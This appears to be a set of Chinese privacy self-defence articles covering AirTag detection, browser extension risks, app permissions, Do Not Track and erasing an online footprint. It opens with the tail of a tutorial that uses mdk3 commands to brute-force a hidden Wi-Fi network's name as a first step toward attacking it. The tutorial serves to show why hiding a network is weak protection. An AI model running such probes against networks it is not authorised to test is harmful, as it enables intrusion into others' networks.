接下来将使用MDK3迫使设备透露它的网络名称，只要让它做出回应即可。然后，它会尝试将网络与我们的词表中的各种Wi-Fi名称关联起来，看看是否得到了肯定的回应。如果前几次没有成功，就用这种传统的暴力方法。

使用下面的命令。如果您使用了不同的词表，只需在此处改变 “commonssids” 这个名字。目标(-t)是检测到MAC地址，文件(-f)是词表：

```
~/Desktop$ sudo mdk3 CARDNAME p -t HIDDEN-MAC-
ADDRESS -f commonssids.txt [sudo] password:
```

现在，在运行命令之前，进入 Wireshark，这样您就可以监控发生了什么。运行词表并监控 Terminal 和 Wireshark 后，您会发现它不起作用，这是因为该词表中实际上没有 “ESPap”。

您可以使用不同的词表，或者在当前词表中添加新的名称。在这个演示中，只要用下面的命令进入文件，用nano将 “ESPap” 添加到词表中即可。保存并退出。

```
~$ nano commonssids.txt
```

然后再次测试暴力破解，看会发生什么：

```
~/Desktop$ sudo mdk3 CARDNAME p -t HIDDEN-MAC-
ADDRESS -f commonssids.txt [sudo] password:
```

现在您应该看到，它能够正确地猜到网络名称，在不一定有设备连接到它的情况下，暴露之前隐藏的网络。因此，即使没有设备试图连接或被踢掉后试图重新连接，我们也应该能够扫描MAC地址进行暴力攻击。

一旦知道了网络名，就可以开始对其进行攻击，就像对付一个未被隐藏的网络那样。如果您想保持网络的隐蔽性，隐藏网络名并不是真正好的安全做法。因为人们不仅可以看到它的存在，而且还可以轻松地提取名称。

没有哪个隐藏网络是真正隐藏的

「图」

虽然隐藏Wi-Fi网络可能不会让它出现在附近的人的手机上，但这确实不是一种安全的隐藏网络的方式，也不是让网络更安全的方式。当手机在范围内时，它可以不断地喊出网络的纯文本名称。

如果您想让您的网络更安全，建议把您的Wi-Fi功率调低，这样它就不会传输得那么远。另外，一定要设置一个非常长且复杂的Wi-Fi密码，而且是独特的，您永远不会在其他地方使用。〇

There Are Hidden Wi-Fi Networks All Around You—These Attacks Will Find Them

原文

您是否正在被 AirTag 跟踪？这里是检查方法 - iyouport

自我保护措施-技术技巧以防身

AirTag 被用来追踪他人，是一种越来越多见的恶意行为。您需要警惕。

在2021年推出 AirTag 时，苹果公司发布的这个带有超宽带的蓝牙追踪器被称赞为“向增强现实的未来迈出了一步”，“是寻找日常物品的好方法”，比如当你的电视遥控器找不到了的时候。但网络安全专家表示担心，这一跟踪设备会被恶意跟踪者所利用。如今 AirTag 已经推出一周年了，这些警告听起来愈发有先见之明。

模特儿布鲁克斯·纳德（Brooks Nader）说，在纽约市的一个晚上，一个 AirTag 被偷偷塞进了她的外套；在康涅狄格州，警方发现一名男子在受害者的汽车里放置了一个 AirTag，随后将其逮捕并指控其跟踪；多个州的警方已经就 AirTag 的潜在犯罪用途发出了警告。

下图是加拿大的故事。

较新的 AirPod 具有与 AirTag 类似的追踪能力，但苹果公司的耳塞成本较高，限制了其作为追踪设备的一次性使用。2月10日，苹果公司更新了 AirTag 的支持页面，提供了更多信息，并坚决谴责使用该设备追踪他人的行为。来自 9to5Mac 的报告显示，今年将进一步推出 AirTag 的更新。

尽管存在 Tile 和其他 AirTag 的竞争对手，但苹果生态系统的广阔性使该设备与众不同。如果你担心一个被秘密安置的 AirTag 可能正在记录你的位置，以下这些迹象可能有助于检测追踪器。

AirTag 正在追踪你的迹象

「图」

你拥有的智能手机类型会影响你发现隐藏的 AirTag 的容易程度。运行 iOS 14.5 或更新版本的 iPhone 手机的用户，只要有一个未知的 AirTag 在附近停留较长时间，就应该可以收到一个推送警报。苹果公司的网站没有提供触发这一警报的确切时间范围。

当你点击 iPhone 的警报时，可能会得到在 AirTag 上播放声音的选项，以帮助定位该设备。通过进入 “Find My” 应用程序，选择右下角的 “我” 选项卡，并确保 “物品安全警报” 那个按钮是绿色的，它位于 “通知” 下，以检查你是否会收到这些警报。

在 AirTag 发布几个月后，苹果为安卓手机推出了 Tracker Detect 应用程序。与 iPhone 的安全功能不同，这个安卓应用不会自动寻找未知的 AirTag。用户必须启动扫描。

据电子前沿基金会网络安全主任伊娃·加尔佩林说，该应用程序功能有限的原因很复杂。“这实际上是安卓生态系统如何运作以及安卓应用程序如何运作的一个限制”，她说，“我曾呼吁苹果和安卓合作，将苹果在iOS中提供的缓解措施水平纳入安卓操作系统，但这需要两个通常是竞争对手的团体之间进行大量合作。”

虽然一些寻找 AirTag 的指南建议使用蓝牙扫描器，但加尔佩林认为这种方法对于追踪器的搜索并不可靠。“我曾尝试使用各种蓝牙扫描器以检测 AirTag，它们并不总是有效的”，她说。

依旧有很多人没有智能手机。如果手头没有设备，你必须依靠视觉和听觉的线索来寻找任何隐藏的 AirTag。这个白色圆盘比25美分略大点。据《纽约时报》报道，阿什利·埃斯特拉达(Ashley Estrada)发现她的车牌底下有一个 AirTag，她记录这一事件的视频在 TikTok 上被观看了2000多万次。

AirTag 刚发布时，如果离开主人超过三天，追踪器会发出响声。此后，苹果公司已经将这一时间缩短为24小时或更短。尽管有了这一更新，你可能也不想只依靠声音来检测 AirTag —— YouTube上的许多视频已经提供了禁用扬声器的DIY说明，无声版的追踪器甚至在Etsy上短暂上市。

如果我找到一个追踪器怎么办？

「图」

停用 AirTag 的最好方法是取出电池。要做到这一点，翻转 AirTag，

使有苹果标志的金属面朝向你。按住那个标志，逆时针旋转，现在就可以取下盖子，取出电池了。

苹果公司的 AirTag 支持页面建议，如果你认为自己处于危险境地，可以向警方求助。“如果你觉得你的安全受到威胁，请联系当地的执法部门，他们可以与苹果公司合作，要求提供与该物品有关的信息。你可能需要提供 AirTag、AirPods、Find My 的网络配件，以及设备的序列号。” ○

Are You Being Tracked by an AirTag? Here’s How to Check

原文

您是否知道浏览器扩展正在偷窥您的银行帐户？ - iyouport

自我保护措施-技术技巧以防身

【2021年6月4日存档】扩展程序可能看起来像小程序，但它们实际上很强大。iPhone或Android上的多数移动应用不能看到您在手机上做的所有事，但一个典型的浏览器扩展就可以看到您在网络浏览器中做的所有事

每当您登录到自己的银行账户时，您的浏览器扩展程序就会监视您。它们可以看到您的账户余额、交易、甚至包括网上银行的密码。它们可以看您浏览器中的一切：密码、信用卡号码、私人信息和您访问的网站。

扩展程序可以访问您的网络浏览器中的所有内容

「图」

例如，您有没有注意过在Chrome浏览器中安装浏览器扩展时看到的信息？对于大多数浏览器扩展，您会看到一条信息，说明该插件可以“读取并更改您所访问网站的所有数据”。

这意味着浏览器扩展可以完全访问您访问的所有网页。它可以看到您正在浏览的网页，阅读其内容，并观察您输入的所有内容。它甚至可以修改网页—— 例如，插入额外的广告。如果该扩展是恶意的，它可以收集您所有的私人数据 —— 从网页浏览活动和您输入的电子邮件、到您的密码和财务信息—— 并将其发送到互联网上的远程服务器。

因此，当您登录网上银行账户时，您的浏览器扩展程序就一直跟着您。它们可以在您登录时看到您的密码，并查看您在网上银行账户上可以看到的一切。它们甚至可以在您查看之前修改网上银行的页面。

有一个权限系统，但大多数扩展都能得到一切

「图」

我们在这里把事情过于简单化了，必须说：并不是每个扩展程序都能看到您的网上银行账户。在现代网络浏览器中，如谷歌Chrome、微软Edge、Mozilla Firefox和苹果Safari等浏览器扩展有一个权限系统。有些浏览器扩展程序使用的权限要少得多。

例如，它们可能只在您点击浏览器扩展的按钮时运行，这意味着在您点击该按钮之前，它们不能实际观看网页上的任何内容。它们可能只在特定的网站上运行—— 例如，一个影响Gmail的浏览器扩展可能只在谷歌的网站上运行，而不是在其他网站上运行。

但是，大多数人使用的绝大多数浏览器扩展程序都有在浏览器加载的每个网站上运行的权限。

在谷歌Chrome和微软Edge中，您可以控制一个扩展程序的 “网站访问” 权限，并选择它是在您打开的所有网站上自动运行，还是只在您点击它时运行，或者只在您列出的特定网站上运行。

这是真正的风险吗？

「图」

我们在这里说的是，您使用的大多数（或所有）浏览器扩展可以看到您的银行账户信息，就像他们可以看到您在网络上的其他一切。

如果一个浏览器扩展是完全值得信赖的和可靠的，那就好办了。这样的浏览器扩展可以负责任地行事，不会捕获任何数据或干扰您的银行信息。

如果一个浏览器扩展程序不值得信任，想要滥用这种访问权—— 好吧，它可以做到。

这不仅仅是一个理论上的问题。它已经发生过很多次了。即使您现在使用的所有扩展都是好的，这种危险也发生过多次。一个安全的扩展程序可能在一夜之间变成恶意软件。开发者可能会将扩展程序卖给另一家公司，而这家公司可能会添加跟踪代码、键盘记录器、或其他任何东西。这种事是大生意。扩展程序可能会在您加载的网页中显示更多的广告，并跟踪您以更好地定位广告，或者犯罪分子可能会捕获您的密码、个人信息和信用卡号码。

您的浏览器会自动安装更新，新的恶意版本的扩展程序就会开始工作。希望您的浏览器开发者能注意到这个问题，并禁用该扩展程序，但这可能需要一些时间。

是的，一些扩展程序已经被发现捕捉银行数据。

只从您信任的开发者处安装扩展程序

「图」

不是说您需要卸载您所拥有的每一个浏览器扩展程序。相反，只需意识到您正在给您安装的浏览器扩展程序提供了多么巨大的访问权限，并采取相应的行动。

如果您信任一个扩展的开发者，那么无论如何都要安装该扩展。例如，如果您使用一个密码管理器，并且已经信任该组织管理您的密码，那就酷又随意安装该密码管理器的浏览器扩展。在这里看到如何选择密码管理器。

另一方面，如果您想要一个漂亮的功能，并且发现了一个提供这种功能的扩展，但您从来没有听说过开发人员，并且不确定您应该多么信任他们—— 那就最好考虑放弃这个浏览器扩展。

您可能还想限制该扩展程序的访问权限。例如，您可以安装一个扩展，并将其配置为只在特定网站上运行，或者您可以使用一个没有安装任何潜在危险扩展的单独浏览器来进行网上银行业务等类似的敏感行为。

但是，想想看，如果您不信任这个扩展程序，也许一开始就不应该运行它。

最终，浏览器扩展可以访问您在网络浏览器中的一切操作。所以，当您考虑安装浏览器扩展时，请问自己这个问题：您会从这个浏览器扩展的创建者那里安装一个Windows桌面应用程序然后让它在您的电脑上后台运行吗？如果答案是不会，那就考虑放弃这个浏览器扩展程序吧。〇

Did You Know Browser Extensions Are Looking at Your Bank Account?

原文

您真的理解应用权限都授予了什么吗？这里是保护您安全的重要知识 🔐 - iYouPort

自我保护措施-技术技巧以防身

虽然服务条款中大多数权限是直截了当写出来的，但用户通常不会真正感受到他们的侵入性，并不是因为不理解这些词，而是因为忽视了解其中的含义。本文有两张大型表格，可以帮你深入判断，并列出了**28**个常见的坑，你也许曾经没能理解这些权限都侵犯了什么。

应用程序已经占据了绝大多数人的绝大多数时间：你在这里了解新闻、播放音乐和电影、与朋友保持联系、还有各种停不下来的精彩游戏 …… 但我们必需提醒您：每隔一段时间就值得对这些应用程序进行一次审核，以确保它们不会做出过度使用超出它们的基本职权范围的事儿—收集更多关于您的数据并控制更多设备，我敢肯定那些绝不是您想要的。

用户每个月都会主动访问智能手机上的约 27 款应用。安卓用户的平均安装应用数量约为 95。隐私政策的平均长度为 2518 字，大约需要 10 分钟才能读完，这意味着用户需要花费大约 950 分钟（15,83 小时或2个工作日）才能读完所有已安装的应用程序的条款。

许多格式的个人数据（主要是内容和元数据）已成为一种新型货币。据估计，到 2020 年，在线存储的个人数据的累计财务价值每年可达到**1**万亿欧元！

总之，基于如此高昂的价值，你不用寄希望于那些大公司会放弃。我们应该致力于自我保护。

完全可以做到，非常简单就能保护隐私安全。以下是如何控制 Android，iOS，Windows 和macOS 上被允许的应用程序。

选择应用程序权限

APP 权限就是应用程序拥有的权限—比如能够访问手机的相机、或笔记本电脑的联系人列表等等—但决定打开或关闭哪些权限并不是一门精确的科学。

授予这些权限本身有可能不是错误，通常，负责任的开发人员不会请求他们不需要应用程序运行的任何内容，即使该目的不是立即就能被明确的。例如，某些 Messenger 程序要求访问您的麦克风，不是因为它想窃听您，而是因为它具有语音备忘录功能。

但是，这种功能的存在—这种权限被赋予—很可能就此给了那些想窃听您的人一个绝佳的机会。所以我们会推荐您关掉这一权限。

应用程序可能会请求访问您的联系人，以便您可以更轻松地共享链接等等—它不一定会收集所有联系人数据，并将其放在某个地方的数据库中。但是，如果阻止该联系人访问不会破坏基本功能的话，那么我们一定要建议您：赶紧关掉！

如果您想了解这些权限，可以查看应用程序的“数据和隐私政策”，理论上这部分文字应该能说明它对收集的数据的作用。但是，这些政策通常用模糊的语言表达，就如 Facebook 和 Google 所做的那样，目的就是为了骗取你的同意。

延伸阅读：我们介绍过这种骗术，它利用了人们在线上往往处于漫不经心状态这一弱点《 "//Facebook 和 Google 如何躲避了欧盟隐私保护规则？//"》

即使您没有进行任何更改，对您为应用程序提供的权限做一个深入了解，仍然是值得强烈推荐的。下面介绍一下具体方法，放心，非常简单。

侵入性

这里有一个图分析应用程序的侵入性，建议从中心部分往外读。

其中应用程序的分类帮你比较提供相同服务的不同应用程序，然后你应该选择侵入性较少的那个。比如比较两个搜索引擎，比如 Google 和 DuckDuckGo，显然后者侵入性较少。

请"在这里"点开大图：

「图」

「图」

一定要打开大图哦！

了解这些可以帮助您选择关闭哪些权限。如果禁用某个权限会导致应用程序行为不当或变得不好用，没关系，您可以平时关闭访问权限，在您需要那一特殊功能的时候重新打开，别忘了用完了再关上！比如地图会读取您的位置信息，而您不是每时每刻都盯着地图的吧（除了出租车司机），所以平时完全可以关闭位置权限。

以下是在所有主要平台上执行这两项操作的方法。

Android App 权限

Android 有各种各样的风格，具体取决于是哪个制造商生产的手机，但本文将列出对安装在 Google Pixel 上的 Android 版本管理权限所需的步骤。您的版本可能不完全匹配，但您应该能够在手机上找到类似的内容。

打开“设置”应用，转到“应用和通知”菜单 **Apps & notifications**，点按您要查看的应用程序（如果您无法找到它，请点击“查看全部 **See all**”）。点击权限 **Permissions** 以查看应用有权访问的所有内容：例如，消息传递应用可能可以访问 SMS。要关闭权限，请点按该权限。如果权限对应用程序特别重要，则可能需要点击确认框。

通过点击应用和通知屏幕 **Apps & notifications** 上的应用权限 **App permissions**，可以找到更全面的权限列表。和以前一样，如果是您正在禁用的应用程序显著依赖的权限，则会收到警告。

iOS App 权限

与 Android 一样，iOS 应用程序会在需要时请求权限，您通常会在首次安装新内容时看到一系列请求—包括一个显示通知的请求。您可以随时撤消这些权限。

在“设置”应用中 **Settings app**，点按“隐私 **Privacy**”即可查看手机上的所有权限：访问照片、动作和健身数据、手机位置等。点击任何条目可查看授予这些权限的应用，并在必要时禁用这些权限。

向下滚动“隐私 **Privacy**”菜单旁边的“设置 **Settings**”屏幕，以查找单个应用程序条目。点按任意应用即可访问与之前相同的权限，以及一些额外的权限，例如访问通知以及使用移动数据和 Wi-Fi 的权限。同

样，只需轻点选项或切换开关即可授予或拒绝许可。

Windows 应用程序权限（我们强烈不建议您使用 Win 系统，微软公司的流氓级别最高）

随着 Windows 10 的发展，它在处理应用程序方面变得更像智能手机了，其中包括处理应用程序权限的方式。单击“开始”菜单 **Start menu** 上的“齿轮”以打开“设置 **Settings**”，然后选择“隐私 **Privacy**”以查看允许在 OS 上安装的应用程序。

选项按权限排序，而不是按应用排序，因此请单击左侧的任何条目以查看具有访问权限的应用程序：位置、相机、照片等。每个屏幕看起来略有不同，如果向下滚动，您将看到与该权限相关联的应用列表。您可以通过单击相关的切换开关来授予或撤消它们。

请注意，这样做仅涵盖从 Windows 应用商店安装的应用以及与 Windows 捆绑在一起的某些应用，例如 Mail 和 Cortana。

对于可以访问所有系统资源（如 Photoshop）的完整桌面应用程序，没有简单的方法来控制权限; 这些应用程序可能在各自的首选项框中提供了一些选项，但您必须完全卸载任何您不满意的应用。

MacOS 应用程序权限

最后是 macOS，它有一个简单直接的权限管理屏幕，非常类似于 iOS 中的那个。要找到它，请打开 Apple 菜单，然后选择系统偏好设置。从那里，单击安全和隐私 **Security & Privacy**，然后打开隐私选项卡。

要更改权限，请单击左下方的锁定图标，然后输入您的 macOS 用户名和密码，以确认您有权修改这些设置。请注意，在重新启动之前，更改不会作用于已经打开的应用程序！

最常见的坑！

虽然服务条款中大多数权限是直截了当写出来的，但用户通常不会真正感受到他们的侵入性，并不是因为不理解这些词，而是因为忽视了解其中的含义。这里列出了28个常见的坑，你也许曾经没能理解这些权限都侵犯了什么：

＊＊Make phone calls：此权限允许应用程式拨打可能让使用者付费

的电话号码。应用程序可以启动手机屏幕并填写号码，但需要提示用户按通话按钮，此权限允许应用程序在后台完成整个过程。

＊＊Send SMS or MMS：此权限允许应用程序代表用户发送短信和彩信，这也会让用户掏钱。

＊＊Modify/delete SD card contents：此权限允许应用程序读取，写入和删除存储在**SD**卡上的任何内容。有许多合法的理由要求获得此权限，因为许多用户希望应用程序在SD卡上写入一些数据。

＊＊Read Contacts ：除非应用程序有明确的访问联系人详细信息的特定功能，否则不应该有任何理由允许其获得此许可。它可以访问手机上存储的每个联系人。这是非常危险的，你的联系人不仅意味着你的身份，还会暴露太多隐私。

＊＊Write contact data：用于快速拨号的应用程序和某些社交网络应用程序可能需要此许可才能进行正常操作，否则，寻求此许可是不合理的。

＊＊Read calendar data：日历数据通常包含联系人和位置数据，这使其成为特定类型的敏感数据。要严格限制此权限。

＊＊Read browser history and bookmarks：浏览器历史记录和书签显示了很多关于用户的信息，因此访问它们会协助隐私入侵。

＊＊Read sensitive logs：日志包含可以逻辑映射并揭示用户活动的数据，某些应用程序记录数据（如用户名和密码）。要小心。

＊＊Modify global system settings：如果修改全局系统设置导致显示其他类型的用户数据，则修改可能是干扰操作（如打开和关闭位置设置）

＊＊etrieve running applications：正在运行的应用程序列表是适用于任务管理器等应用程序的合法资源，但它也显示有关用户的偏好和所用服务类型的信息。

＊＊Display of system-level alerts：滥用此权限可能会导致大量的弹出式广告。

＊＊Take pictures and videos：此权限允许应用程序在没有任何进一步提示的情况下拍摄照片和录制视频！

＊＊Access location extra commands.：拥有此权限的应用程序具有有关用户地理位置的详细信息。

＊＊Change configuration：除了改变语言和区域设置之外，还不清楚此许可授予了什么。

＊＊Kill background processes：如果因此杀死了反病毒程序或其他类似程序，那么这个权限就有风险。

＊＊Process outgoing calls：此权限允许访问与呼出相关的元数据，因此只能授予VOIP应用程序。

＊＊Use SIP：SIP：会话初始化协议用于VOIP服务，因此具有与“拨打电话”类似的功能！

＊＊Write secure settings：这个权限应该保留给系统应用程序，而不是其他程序。

＊＊Read profile：此权限允许应用程序读取存储在手机上的用户个人帐户详细信息。

＊＊Read SMS：被授予此权限的应用程序可以访问和阅读 **SMS**，因此这是严重违反隐私的行为！

＊＊Write call log：此权限可能会被滥用于隐藏恶意行为。

＊＊Write profile：拥有此权限的应用程序可以将数据写入用户的配置文件。

＊＊Read social stream：此权限允许应用访问来自 Facebook 和 Twitter 等社交网络的更新。这不仅包括用户自己的更新，还包括网络中其他用户的更新。

＊＊Authenticate accounts：此权限允许应用程序对密码等身份验证进行验证，这对于要求用户身份验证的应用程序是合法的，不过通常被用于网络钓鱼！

＊＊Read email attachments：电子邮件附件通常包含敏感信息，因此应该是私密的。此权限应仅保留给电子邮件客户端应用程序。

＊＊Receive SMS/MMS：此权限允许应用程序监视传入的 SMS / MMS，记录它们或对其进行预处理。

＊＊Add system service：该权限只能用于系统应用程序。

＊＊Read instant messages (IM)：要求获得此权限的应用程序可以读取即时消息。

依然有问题

一个问题是预先安装在设备上的应用程序所需的权限。比如一家运营商出售了智能手机，随附有多个应用程序（包括一个媒体应用程序）已经安装在设备上，无法卸载。这属于强行收集，很流氓，用户无法选择将哪些数据提供出去。

智能手机应用有几种所谓的盈利模式。开发一个非常酷的应用程序已经不够了，开发者很希望能找到一种赚钱的方式，因为大多数人习惯于获得免费的内容或服务。

移动广告导致用户体验受损、侵入性增强。而在线调查正在成为另一种更有效的盈利方式！它比一般的广告投放为目的的数据收集更严重，它能挖掘你内心隐藏最深的东西。之后就是针对性地对你进行心理操控。

更好地控制

最后，对权限进行分类很重要，因为用户有时很难确定哪些应用程序对隐私有好处，哪些不适用。这张图对授予应用程序的各种权限进行了评估。

"请在这里点开大图"。一定要看大图哦！

「图」

「图」

原文

您需要额外的帮助 - iYouPort

自我保护措施-技术技巧以防身

所有人类都知道，出家门之前应该先把衣服穿上，至少要穿到能遮住三点。然而上网的人们经常在家里连接，面对的是冷冰冰的显示器，结果就是，人们从一开始就下意识地认为上网是私密的行为。但事实上完全相反，你连接到互联网的那一刻就是打开了自己家的大门，如果你此时光着屁股，任何人都可以欣赏你的裸体。

「图」

「图」

其实比裸体更糟糕，它让你暴露的不只有屁股，还有你的内心所想，那些你最难以启齿的东西，都在被所有人欣赏。我们介绍过浏览器跟踪有多危险，详见《浏览历史记录曝光你的内心全景图：#OSINT 开源调查演示》是吧，你真的应该穿件衣服。

大多数浏览器都有“不跟踪”（DNT）设置，向网站、分析公司、广告网络、插件提供商以及您在浏览时遇到的其他网络服务发送“特殊信号”，以停止跟踪您的活动。听起来不错是吧？可悲的是，它根本就没有效果。那是因为这个 Do Not Track 设置只是发送到网站的自愿信号，网站不必尊重。

尽管如此，许多浏览器中的大部分用户都使用“不跟踪”设置。虽然大多数主要网络浏览器默认禁用 DNT，但在2018年11月对503名美国成年人进行的调查中，23.1％（±3.7）的受访者有意识地在其桌面浏览器上启用了DNT设置。（注意：Apple正在从 Safari 中删除 DNT 设置）

研究还加入了DuckDuckGo的 DNT 使用情况，发现一天内24.4％的 DuckDuckGo 请求来自启用了“不跟踪”设置的浏览器。这在调查的误差范围内，从而为其结果提供了更多的可信度。

不幸的是，数以千万计的美国人（以及更多的全球人）使用 DNT 时并不知道它只发送自愿信号。在至少对“不跟踪”设置“略微熟悉”的受

访者中，有 44.4%（±7.3）的人并不知道其真正的性质。即使在浏览器中有意识地启用 DNT的人里，也有 41.4%（±8.9）不知道这事。

可以形象一下简单理解这事，Do Not Track 就像在你家门前的草坪上贴一个标语“请不要看我的房子”，而你所有的百叶窗都保持打开状态，就是那个效果。事实上，大多数主要的科技公司，包括 Google，Facebook 和 Twitter，在您访问和使用他们的网站时都不尊重 Do Not Track 设置—其中 77.3%（±3.6）的美国成年人总体上并不知道这些。

设置动作与实际设置效果之间存在巨大差异。这本质上就是误导性的。当了解了 DNT 设置的真实功能和限制时，75.5%（±3.8）的美国成年人表示，这些公司“在启用时尊重 Do Not Track 信号”是“重要的”或“非常重要的”。很简单，当人们说自己不想被追踪时，他们就真的不想被追踪。

「图」

「图」

我们同意并希望政府今年开始将重点放当用户启用时强制遵守“不跟踪”设置，遵守联邦法律。正如我们在这里以及其他私人浏览研究中看到的那样，许多人一直在努力寻求最容易获得的（尽管通常是不幸的、无效的）方法来保护自己的隐私。

就像私人浏览（又名“隐身”）模式一样，“不跟踪”设置在大多数浏览器中都是一个易于发现的选项，但它完全无法有效地保护用户，远远低于用户对它的期望。在 Do Do Track 设置最终能符合其所声称的功能之前，您得自己保护自己，尽快使用浏览器扩展回收您的隐私和阻止跟踪器—— 穿件衣服再出门。

比如浏览器隐私跟踪插件 Ghostery，德国软件开发公司 Cliqz 开发的，在 Chrome 已经拥有近 300 万用户，Firefox 有 100 万用户。

Ghostery 允许用户阻止一些脚本、图片、iframes 以及各种用户所不信任的嵌入程式。 该扩展还有个 GhostRank 功能，就是将用户遇到的这些隐私追踪的讯息匿名的发给 Ghostery 伺服器，以便更多人浏览该网站时，能给他们提供参考。

现在 Ghostery 已经开源了，它更安全。

不仅如此，它还可以智能拦截，在浏览时自动优化页面性能；动态用户界面，包括多个显示器和详细的跟踪器仪表板增强的反跟踪，将用户的数据匿名化以进一步保护用户的隐私。

Cliqz 一年前收购了 Ghostery。通过开源这些浏览器扩展，实现他们对透明度和开放式互联网的承诺。根据 Cliqz 的说法，Ghostery 拥有一个活跃的社区，许多用户分享检测新追踪者的匿名统计数据。当然，用户也可以选择不与 Cliqz 共享数据。〇

原文

想活命吗？不想丢钱吗？不愿意进监狱吗？…… 这是您最基本需要做的事 - iyouport

自我保护措施-技术技巧以防身

【2020年5月28日存档】本文中的全部链接都很重要。

如您所知，防御是一切的基础。也是IYP的主题之一。

依旧有很多人不甚了解这个互联网具有多么大的伤害性，于是我们采取了激进的方法 —— 用演示追踪攻击来提醒防御。

我知道这也许会吓到您，但恰好说明您已经开始警觉；请千万不要停留在警觉层面上，您应该快速采取行动，以避免恶性事件发生在您身上。

当中国互联网用户看到张贾龙案中被起诉 “推特转发” 政府不喜欢的内容时，才意识中国当局的监控不仅限于墙内，而是全球。于是人们纷纷采取措施删除自己的旧推文。

我们已经介绍过如何批量删除推文，见《清洁工具：自动删除您的旧推文，但您要保留的推文除外》。

同类工具只能帮您完全删除一切，或者最多是定时删除所有；但您需要保留的内容也会随之不见。这个方法的优势就在于，它能让你选择性删除内容，不仅可以保留您希望保留的东西，尤其是，不会在监视者眼中看起来很可疑（如果您已成为目标的话）。

⚠但是，您必须知道，上述只是一小部分。

如果您发布的内容曾经被病毒式转发，仅仅删推文可能是无效的，您的内容依旧被保留在互联网上。

尤其是，推特对整个互联网世界来说只是一个小院；对您的威胁会来自整个世界。

于是本文的重点就在于，帮您解决各种隐患。

☞不论您是担心间谍、警察、网监、骇客、还是社交工程恶意行为者，或者仅仅是一个曾经说了后悔话的普通人，这些方法您都值得了解。

您曾经想过从互联网上抹去自己泄漏过的愚蠢记录吗？您并不孤单 —— 因为“从互联网上抹去自己99%内容”的推特话题成为了病毒式传播的主题，短时间内就有十几万人转发。

Twitter 用户 Liam 介绍了一些简单的方法 —— 事实上这些方法我们全部介绍过，只是解释得非常详细，以至于分布在很多篇文章中。本文算是一个简明扼要的总结，以便您可以看清楚应该怎么做。

第一步，您需要跟踪自己旧的电子邮件登录。

「图」

仔细查找您在过去十年中使用过的每一个电子邮件。如果您失去了访问权限，就需要想办法恢复它们。

第二步，您需要仔细查看已注册的所有服务的电子邮件，从那些已经被遗忘的服务中删除旧的帐户。

「图」

使用电子邮件上的搜索功能，查找诸如“注册”或“欢迎”之类的短语；这样您会更容易找到那些东西。

- 如果您想详细理解这个问题，请见我们曾经做过的追踪演示《追踪政府宣传战的内幕：跨平台网络分析的数字取证案例》
- 《如何跨社交媒体平台追踪目标人？⚠ 警告安全意识》
- 《如何构建自定义的用户名侦查工具：开源调查技术》
- 以及防御方法《分身术完整指南：妥善管理您的在线身份并获得安全的方法》

现在，通过搜索“删除帐户”+“「服务」”，在服务中查找删除帐户功能。

☞如果没有找到，请通过 google 或各种其他搜索引擎寻找支持的电子邮件，以便联系平台请求他们删除您的帐户。

对于某些服务，您可能希望在删除帐户之前清除所有内容和消息，因为该帐户可能已存档，并且骇客或外部实体很可能会在以后访问到此信息。

这是要记住的事。

第三步：检查您的信息是否已经被泄露。

「图」

现在，您应该拥有您曾经使用过的所有用户名和所有服务的列表，从流服务到电子邮件的一切。您需要使用一种被称为布尔搜索的方法来正确使用Google，以定位这些信息。

- 关于布尔搜索的使用方法，详见《一个搜索统治一切：调查用心而非技术》

您需要用谷歌搜索您自己的帐户名：

- “「account_name」”
- 也许是您的账户名和密码，这样：”「account」” + “「password」”

👉这样去搜索，您应该可以看到所有已经在互联网上被公开暴露的pastebin 链接或地下数据库，有可能那里面已经有您的致命私人信息。

很困惑吗？是的，但这就是监视资本主义时代的常态。泄露发生在几乎所有服务上。👇

在您操作的整个过程中，请随时记下哪些密码/信息受到了威胁。

⚠请注意，某些数据库泄漏是较为隐秘的，数据在私密圈子中共享和出售，但是您可以使用这个网站来确定其中是否包括您：

https://haveibeenpwned.com

要检查您是否受到攻击，可以将实时信息更改为其他信息。

第四步：从Google中删除自己。

「图」

现在您已删除自己的 Facebook 帐户，但是，当您使用布尔搜索来检查自己的姓名和位置时，就会发现有许多缓存依旧保留了有关您的信息/链接。

有一个解决方案，称为Google控制台。

如果您提供链接，则可以要求他们删除/更新其搜索引擎（这通常需要几个月的时间）以删除那些缓存的结果。

请在这里进行各种Google搜索，然后执行清除操作。

第五步：防止Google合法追踪您（在大部分情况下）。

「图」

您应该禁止Google合法接触您的任何数据。在下面看到：

- 《到底有多少跟踪器在盗窃你的隐私？谷歌以其惊人的跟踪量位居榜首》

您可以在这里查看Google的每项服务。

如果您希望使用任何其他服务，您需要将权限设置简化为绝对的核心——去除一切不必要的权限。

比如，如果要使用 Facebook，请确保将几乎所有可见度完全设为私人，这样监视者就难以访问你的私人信息了。在下面看到：

- 《您真的理解应用权限都授予了什么吗？这里是保护您安全的重要知识》

第六步：删除旧的电子邮件。

「图」

现在，删除您不再需要访问的任何电子邮件。

如果确实需要保留一些电子邮件，请更改安全性问题和密码。

第七步：保护帐户。

「图」

您应该每6个月定期更改一次密码。

由于攻击者每天都可以访问到新的数据库，几乎可以肯定他们会立刻使用这些新信息来发动攻击，或者在将来对您进行个人攻击。

请不要在不同服务上使用相似的密码！攻击者都很聪明，远比您想象中要狡猾得多。

☞ 他们会轻松将您的旧密码与您的家庭住址或出生日期结合起来，以找到准确的入侵途径。

第八步：保护您的互联网连接。

「图」

使用互联网时，您应该使用加密的VPN。

任何时候在公共网络上冲浪时都请使用VPN。

- 见《什么时候你需要VPN？》

您需要确保您的VPN进行了公共审核，而且需要是加密的，以至于能避免被您的ISP发觉。在下面看到方法：

- 《如何检查您的VPN连接是否实际加密》
- 《如何验证您的 VPN 连接是否安全？》

第九步：使用一次性账户。

「图」

您应该通过使用虚假名字和一切虚假的注册信息在所有寡头的服务上（例如Google）使用一次性帐户 —— 也就是我们多次强调的袜子木偶账户。在下面看到：

- 《某些行动者，你需要一个袜子木偶》
- 《如何快速创建一个假人？简易版分身术—调查人员使用》

别担心，只要您不是信息战水军，这样做就是合法的，⚠您应该这样做，是因为您需要避免跨平台侦查挖掘您的信息数据。

第十步：**定期**删除您的互联网内容。

「图」

您应该定期删除自己的推文和旧照片。

因为，这些数据很容易被用来交叉引用并查获有关您更多的个人信息。见：

- 《你不应该在社交媒体上说的话》

永远不要小视攻击者的耐心，政府间谍为了找到他们想要的目标会跟踪你长达数月之久。

这些间谍和骇客会使用您的旧互联网信息进行一系列的分析，您可以通过我们的 “开源情报” 专栏看到几乎全部追踪演示。尤其是追踪者的思考方式。

- 《如何从推特挖掘情报（1）：一个流行工具的具体介绍》
